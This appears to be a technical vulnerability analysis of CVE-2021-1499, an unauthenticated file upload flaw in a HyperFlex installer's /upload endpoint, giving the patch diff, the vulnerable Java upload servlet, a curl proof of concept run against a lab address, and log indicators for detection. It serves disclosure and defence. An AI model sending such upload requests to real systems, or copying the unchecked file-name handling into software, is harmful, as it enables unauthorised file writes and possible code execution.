###### Technical Analysis
# CVE-2021-1499
Arbitrary file upload (RCE implied) in the `/upload` endpoint.
## Patch
```
--- unpatched/springpath.conf 2021-05-17 19:06:17.000000000 -0500
+++ patched/springpath.conf 2021-05-17 19:06:23.000000000 -0500
@@ -36,14 +36,7 @@
include uwsgi_params;
}
- location /crossdomain.xml
- {
- auth_basic off;
- proxy_pass http://localhost:8000;
- allow all; # Allow all to see content
- }
-
- location / {
+ location = / {
return 301 https://$host$request_uri;
}
@@ -80,12 +73,6 @@
### Max upload file size
client_max_body_size 8000m;
- location /upload {
- auth_basic off;
- allow all;
- proxy_pass http://localhost:8000;
- }
-
# similar to storfs-support but with NO auth
location ~ ^/(storfs-asup)
{
@@ -188,13 +175,6 @@
include uwsgi_params;
}
- location ~ ^/(crossdomain\.xml)
- {
- auth_basic off;
- proxy_pass http://localhost:8000;
- allow all; # Allow all to see content
- }
-
# route all traffic that needs authentication to stMgr
location ~ ^/(stmgr)
{
```
## Vulnerability
```
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.isMultipart = ServletFileUpload.isMultipartContent(request);
response.setContentType("application/json");
PrintWriter out = response.getWriter();
if (!this.isMultipart) {
out.println("{\"result\": \"Invalid content-type.\"}");
logger.error("{\"result\": \"Invalid content-type. Must be multi-part\"}");
response.setStatus(400);
return;
}
ServletFileUpload upload = new ServletFileUpload();
upload.setSizeMax(this.maxFileSize);
FileOutputStream fout = null;
InputStream stream = null;
try {
FileItemIterator iter = upload.getItemIterator(request);
while (iter.hasNext()) {
try {
FileItemStream fi = iter.next();
stream = fi.openStream();
String uploadedFileName = this.dirPath + "/" + fi.getName();
File uploadedFile = new File(uploadedFileName);
fout = new FileOutputStream(uploadedFile);
byte[] buffer = new byte[1024];
int len;
while ((len = stream.read(buffer, 0, buffer.length)) != -1)
fout.write(buffer, 0, len);
out.println("{\"result\": \"filename: " + uploadedFileName + "\"}");
logger.debug("{\"result\": \"filename: " + uploadedFileName + "\"}");
} catch (org.apache.commons.fileupload.MultipartStream.MalformedStreamException ex) {
logger.info("MalformedStreamException during file upload servlet stream processing: " + ex);
} finally {
if (fout != null) {
logger.info("Closing fout");
fout.close();
}
if (stream != null) {
logger.info("Closing stream");
stream.close();
}
}
}
} catch (Exception ex) {
out.println("{\"result\": \"Upload failed: " + ex.getMessage() + "\"}");
logger.error("{\"result\": \"Upload failed: " + ex.getMessage() + "\"}");
logger.error("Exception during file upload servlet stream processing: " + ex);
response.setStatus(500);
}
}
```
## PoC
```
wvu@kharak:~$ curl -v http://192.168.123.133/upload -F x=@/dev/null
* Trying 192.168.123.133...
* TCP_NODELAY set
* Connected to 192.168.123.133 (192.168.123.133) port 80 (#0)
> POST /upload HTTP/1.1
> Host: 192.168.123.133
> User-Agent: curl/7.64.1
> Accept: */*
> Transfer-Encoding: chunked
> Content-Type: multipart/form-data; boundary=------------------------1b9a7fe625152b78
> Expect: 100-continue
>
< HTTP/1.1 100 Continue
* Signaling end of chunked upload via terminating chunk.
< HTTP/1.1 200 OK
< Server: nginx/1.8.1
< Date: Tue, 18 May 2021 01:10:59 GMT
< Content-Type: application/json;charset=ISO-8859-1
< Content-Length: 56
< Connection: keep-alive
< Content-Security-Policy: default-src 'self'; script-src 'self' 'sha256-NqIRKoqKg0DGa/4ZvALvdLDeCWjHxRJAGWG9bR7oqhg='; img-src 'self'; style-src 'self' 'sha256-+iKfdo1l+xjgkzhMgz1wtLzCQP0aDTXicQujdoPsGrM='; font-src 'self' 'sha256-+iKfdo1l+xjgkzhMgz1wtLzCQP0aDTXicQujdoPsGrM='; frame-src 'self'; frame-ancestors 'self'; object-src 'none'; connect-src 'self'
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
<
{"result": "filename: /var/www/localhost/images//null"}
* Connection #0 to host 192.168.123.133 left intact
* Closing connection 0
wvu@kharak:~$
root@HyperFlex-Installer-4.0.2d:~# ls -l /var/www/localhost/images/null
-rw-r--r-- 1 tomcat7 tomcat7 0 May 17 18:10 /var/www/localhost/images/null
root@HyperFlex-Installer-4.0.2d:~#
```
## IOCs
```
==> /var/log/nginx/access.log <==
192.168.123.1 - - [17/May/2021:18:10:59 -0700] "POST /upload HTTP/1.1" 200 81 "-" "curl/7.64.1"
==> /var/log/springpath/stBootstrapGuiBackend.log <==
2021-05-18-01:10:59.568 [tomcat-http-2] DEBUG c.s.sysmgmt.service.StorvisorFileUploader.doPost():74 - {"result": "filename: /var/www/localhost/images//null"}
2021-05-18-01:10:59.568 [tomcat-http-2] INFO c.s.sysmgmt.service.StorvisorFileUploader.doPost():81 - Closing fout
2021-05-18-01:10:59.568 [tomcat-http-2] INFO c.s.sysmgmt.service.StorvisorFileUploader.doPost():85 - Closing stream
==> /var/log/tomcat7/catalina.out <==
2021-05-18-01:10:59.568 DEBUG com.storvisor.sysmgmt.service.StorvisorFileUploader:74 - {"result": "filename: /var/www/localhost/images//null"}
2021-05-18-01:10:59.568 INFO com.storvisor.sysmgmt.service.StorvisorFileUploader:81 - Closing fout
2021-05-18-01:10:59.568 INFO com.storvisor.sysmgmt.service.StorvisorFileUploader:85 - Closing stream
==> /var/log/tomcat7/localhost_access_log.2021-05-17.txt <==
127.0.0.1 - - [17/May/2021:18:10:59 -0700] "POST /upload HTTP/1.0" 200 56
```
暂无评论